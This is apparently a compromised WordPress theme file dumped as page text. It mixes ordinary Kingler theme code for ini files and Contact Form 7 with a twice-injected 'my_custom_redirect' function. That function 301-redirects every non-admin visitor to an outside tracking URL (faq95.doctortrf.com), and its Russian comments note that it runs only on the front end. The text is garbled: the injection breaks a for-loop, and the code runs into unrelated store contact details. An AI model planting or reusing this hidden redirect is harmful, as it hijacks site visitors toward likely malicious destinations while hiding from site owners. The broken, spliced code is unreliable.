function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Kingler Theme Framework: ini-files manipulations * * @package kingler_theme * @since kingler_theme 1.0 */ // Disable direct call if ( ! defined( 'ABSPATH' ) ) { exit; } // Get value by name from .ini-file if (!function_exists('kingler_theme_ini_get_value')) { function kingler_theme_ini_get_value($file, $name, $defa='') { if (!is_array($file)) { if (file_exists($file)) { $file = kingler_theme_fga($file); } else return $defa; } $name = kingler_theme_strtolower($name); $rez = $defa; for ($i=0; $ifunction my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /* Contact Form 7 support functions ------------------------------------------------------------------------------- */ // Theme init priorities: // 9 - register other filters (for installer, etc.) if (!function_exists('kingler_theme_cf7_theme_setup')) { add_action( 'after_setup_theme', 'kingler_theme_cf7_theme_setup', 9 ); function kingler_theme_cf7_theme_setup() { // One-click importer support if (kingler_theme_exists_cf7()) { add_action( 'wp_enqueue_scripts', 'kingler_theme_cf7_frontend_scripts', 1100); add_filter( 'kingler_theme_filter_merge_styles', 'kingler_theme_cf7_merge_styles' ); if (is_admin()) { add_filter( 'kingler_theme_filter_importer_options', 'kingler_theme_cf7_importer_set_options' ); } } if (is_admin()) { add_filter( 'kingler_theme_filter_importer_required_plugins', 'kingler_theme_cf7_importer_required_plugins', 10, 2 ); add_filter( 'kingler_theme_filter_required_plugins', 'kingler_theme_cf7_required_plugins' ); } } } // Check if cf7 installed and activated if ( !function_exists( 'kingler_theme_exists_cf7' ) ) { function kingler_theme_exists_cf7() { return class_exists('WPCF7'); } } // Filter to add in the required plugins list if ( !function_exists( 'kingler_theme_cf7_required_plugins' ) ) { function kingler_theme_cf7_required_plugins($list=array()) { $list[] = array( 'name' => esc_html__('Contact Form 7', 'kingler-theme'), 'slug' => 'contact-form-7', 'required' => false ); return $list; } } // Enqueue custom styles if ( !function_exists( 'kingler_theme_cf7_frontend_scripts' ) ) { function kingler_theme_cf7_frontend_scripts() { if (file_exists(kingler_theme_get_file_dir('css/contact-form-7.css'))) wp_enqueue_style( 'kingler_theme-contact-form-7', kingler_theme_get_file_url('css/contact-form-7.css'), array(), null ); } } // Merge custom styles if ( !function_exists( 'kingler_theme_cf7_merge_styles' ) ) { function kingler_theme_cf7_merge_styles($css) { return $css . kingler_theme_fgc(kingler_theme_get_file_dir('css/contact-form-7.css')); } } // One-click import support //------------------------------------------------------------------------ // Check cf7 in the required plugins if ( !function_exists( 'kingler_theme_cf7_importer_required_plugins' ) ) { function kingler_theme_cf7_importer_required_plugins($not_installed='', $list='') { if (kingler_theme_strpos($list, 'contact-form-7')!==false && !kingler_theme_exists_cf7() ) $not_installed .= '
' . esc_html__('Contact Form 7', 'kingler-theme'); return $not_installed; } } // Set options for one-click importer if ( !function_exists( 'kingler_theme_cf7_importer_set_options' ) ) { function kingler_theme_cf7_importer_set_options($options=array()) { if ( in_array('contact-form-7', kingler_theme_storage_get('required_plugins')) && kingler_theme_exists_cf7() ) { $options['additional_options'][] = 'wpcf7'; } return $options; } } ?>ASS911
Welcome to Fastest Online Selling Store...
Phone: 404 795 5147
Fax: 404 745 8447
1201 west Peachtree street,
Suite 2300 Atlanta GA 30309